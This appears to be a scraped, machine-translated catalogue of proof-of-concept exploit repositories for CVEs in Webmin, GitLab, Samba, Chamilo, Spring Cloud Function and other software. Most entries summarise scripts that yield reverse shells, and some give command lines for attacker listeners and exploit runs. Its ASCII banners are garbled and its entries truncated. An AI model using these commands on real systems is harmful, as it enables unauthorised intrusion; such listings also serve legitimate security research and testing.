PoC-CVE-2019-12840

Webmin 向け CVE-2019-12840 のエクスプロイト このリポジトリには、Webmin の脆弱性 CVE-2019-12840 を悪用する Python スクリプトが含まれています。 説明 スクリプトは Webmin サーバーにログインし、CVE-2019-12840 の脆弱性を悪用しようとします。スクリプトは、Webmin サーバーにログインするためのユーザー名とパスワード、サーバーの URL、サーバーのポート、リバースシェル用のローカルポート、サーバー上で実行するコマンドなど、いくつかのコマンドライン引数を受け付けます。 使用方法...

CVE-2021-44228

Log4Shell 概念验证 此仓库是 CVE-2021-44228 漏洞的概念验证。 它衍生自此仓库。 在此仓库中，我制作了一个易受攻击的应用程序示例，并演示了如何利用该漏洞。 概念验证组件 我已修改上游 Python 脚本，以自动化生成此漏洞。 此仓库中有两个 Dockerfile，可方便使用，如下所示： Docker-Ldap 在此 Docker 镜像中，我们从我的 Google Drive 下载 java jdk-8u20，因为您需要在 Oracle 上注册账号才能下载。 如果您不信任此来源，可以修改 Dockerfile 中的下载文件，并从此处下载 jdk（确保下载适用于...

ClearML-CVE-2024-24590

root@kitploit: / | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe ClearML Pickle Artifact Upload PoC...

gitlab-cve-2021-22205

gitlab-cve-2021-22205 脆弱なgitlabインスタンスに対してCVE-2021-22205を悪用するシンプルなbashスクリプトです 使い方 root@kitploit: Usage: cve-2021-22205.sh options Options: -h,--help Show this help -t,--target Set the target server i.e. "http://gitlab.example.com" -i,--reverse-ip Set the IP to connect back to -p,--reverse-port Set...

CVE-2022-46169_POC

CVE-2022-46169 用エクスプロイト リバースシェルを取得する root@kitploit: cactiexploit.py...

cve-2022-42475-Fortinet

cve-2022-42475 PoCコード: FortinetのSSLVPNデーモンにおけるヒープオーバーフローを悪用する 使用方法 pip install pwntools このコードを使用するには、ファイル（例: exploit.py）に保存し、Pythonでコマンドラインから必要な引数を指定して実行します。以下はエクスプロイトを実行するコマンドの例です。 python exploit.py はターゲットシステムのホスト名またはIPアドレス、 は脆弱なサービスのポート番号、...

CVE-2018-5955

CVE-2018-5955 CVE-2018-5955 GitStack 2.3.10 認証不要RCEのエクスプロイト エクスプロイト: GitStack 2.3.10 認証不要リモートコード実行 日付: 2018年1月18日 ソフトウェアリンク: https://gitstack.com/ エクスプロイト作者: Kacper Szurek 元のエクスプロイト: https://www.exploit-db.com/exploits/43777 Webサイト: https://security.szurek.pl/ カテゴリ: remote CVE: CVE-2018-5955...

CVE-2007-2447-RCE

このエクスプロイトは、Samba 3.0.20 3.0.25 を悪用してリバースシェルを取得するのに役立ちます · python3 でスクリプトを --help パラメータ付きで実行すると、一連のパラメータが要求されます root@kitploit: --lhost LHOST your host ip where the shell will be received --lport LPORT your port port where the shell will be received --rhost RHOST remote host ip of the victim machin...

CVE-2021-31762

..| CVE-2021-31762 |.. 説明 : クロスサイトリクエストフォージェリCSRF攻撃を悪用して、Webminのユーザー追加機能を介して特権ユーザーを作成し、その後Webminの実行中プロセス機能を介してリバースシェルを取得する テスト済みバージョン : Webmin 1.973 GitHubの最新バージョン 07/03/2021 攻撃タイプ: リモート 影響 : リモートコマンド実行 エクスプロイトのC0de POC : YouTube POC : https://youtu.be/qCvEXwyaF5U 製品ベンダー : https://www.webmin.com...

OffensivePascal-CVE-2010-2075

CVE-2010-2075 FreePascalによるCVE-2010-2075の実装 脆弱性 UnrealIRCd 3.2.8.1 任意の待受サービスに「AB; command」を送信することでRCEが発生します。送信したコマンドは、UnrealIRCDが実行されているのと同じユーザーで実行されます。 この実装は、あなたのリスナーへのリバースシェルを起動します。 ステップ 1 リスナーを起動します。例: netcat -lvp 4444 ステップ 2 エクスプロイトを実行します ./exploit ここで、host ip と port はリスナーが実行されている場所です。 要件...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

本脚本针对Nexus Repository Manager3 EL注入（CVE-2018-16621）漏洞，一键执行漏洞利用反弹shell 运行示例： 在攻击机本地运行脚本，根据提示输入靶机ip、端口、本机监听ip、端口，之后即可一键执行漏洞利用代码，GET反弹Shell。...

CVE-2020-15227

CVE-2020-15227 免责声明！对于在真实环境中使用它，我不承担任何责任，所以请不要这样做。这个东西只是为了向系统管理员演示和测试而制作的 我是根据 David Grudl（Nette 基金会的创始人）发布的 CVE 制作了这个漏洞利用程序 作为一名安全研究员，我开发了一个小怪物（当然是为了教育和演示目的，出于道德原因，我也制作了自动修复器） 该安全漏洞利用了 nette.micro 中的 callback 参数。我们不知道这个垃圾为什么存在（可能是后门功能？） 该漏洞利用程序试图从受害者服务器获取反向 shell。URL 在这里是硬编码的，所以不用担心修改漏洞利用程序。 欢迎提...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-概念実証 Chamilo LMS の未認証の大きなファイルアップロード機能により、リモートコード実行が可能 このコードは HACKTHEBOX CTF PERMX のために作成・使用されています Chamilo LMS v1.11.24 以下の /main/inc/lib/javascript/bigupload/inc/bigUpload.php における大きなファイルアップロード機能の未認証ファイルアップロードにより、任意のファイルをサーバーにアップロードでき、PHPリバースシェルをアップロードすることが可能です。...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc CVE-2019-12840 のスタンドアロン PoC。 以下は、ポート443でリバースシェルを送り返します。 root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | |...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE Python で書かれた CVE-2007-2447 エクスプロイト。リバースシェルを取得します。...

EFS_CVE-2021-43217

EFS バイパス脆弱性CVE-2021-43217 目的 この脆弱性デモンストレーションは、Kali Linux を通じて Windows 10 上で EFS バイパスをシミュレーションするための管理された環境を構築することを目的としていました。主な焦点は、脆弱性のペネトレーションを実行し、EFS の弱点を通じてデスクトップを制御する可能性を示すことでした。 習得したスキル EFS に関する高度な理解 Kali Linux の習熟 python3 スクリプトとシェルコードの生成能力（画像として記載） MSFconsole および Metasploit...

CVE-2022-22963_Reverse-Shell-Exploit

CVE-2022-22963 リバースシェルエクスプロイト これは、CVE-2022-22963を悪用するPythonスクリプトです。CVE-2022-22963は、Spring Cloud Functionのリモートコード実行の脆弱性であり、攻撃者が脆弱なサーバー上で任意のコードを実行できるようにします。このエクスプロイトは、脆弱な/functionRouterエンドポイントを使用して、ターゲットサーバー上でコマンドを実行します。 使用方法...

CVE-2021-41773-Playground

CVE-2021-41773-Playground CVE-2021-41773 と CVE-2021-42013 で遊ぶための Docker イメージ集です。 docker compose up -d を実行すると、すべてのコンテナを起動できます。 サーバーはポート 8080、8081、8082、8083 で動作します。 8080 は CGI が無効の Apache 2.4.49 です。 8081 は CGI が有効の Apache 2.4.49 です。 8082 は CGI が無効の Apache 2.4.50 です。 8083 は CGI が有効の Apache 2.4.50 です...

CVE-2023-422-Chamilo-LMS-RCE

前提条件 root@kitploit: pip install requests 情報 このPythonスクリプトは、脆弱性CVE-2023-422を利用してサーバーにファイルをアップロードし、そのファイルを使用してnetcatリスナーにリバースシェルを送信します。これらはすべて認証なしで実行できます。ただし、Pythonスクリプトを正常に使用するには、以下の手順に従う必要があります。 netcatリスナーを起動: root@kitploit: nc -lnvp 4444 Pythonスクリプトの実行（例）: root@kitploit: python3 main.py -u...

CVE-2023-27163-AND-Mailtrail-v0.53

自動エクスプロイト 概要 以下のエクスプロイトは、Requests Baskets v1.2.1 SSRF脆弱性を悪用して、127.0.0.1:80で動作している内部アプリケーションを外部アプリケーションの/pwnedに転送します。Mailtrail v0.53 アプリケーションが転送されると、それに対してリバースシェルコマンドが実行され、数秒以内にユーザーはマシン上でリバースシェルを取得できます。 コマンド root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT エクスプロイ...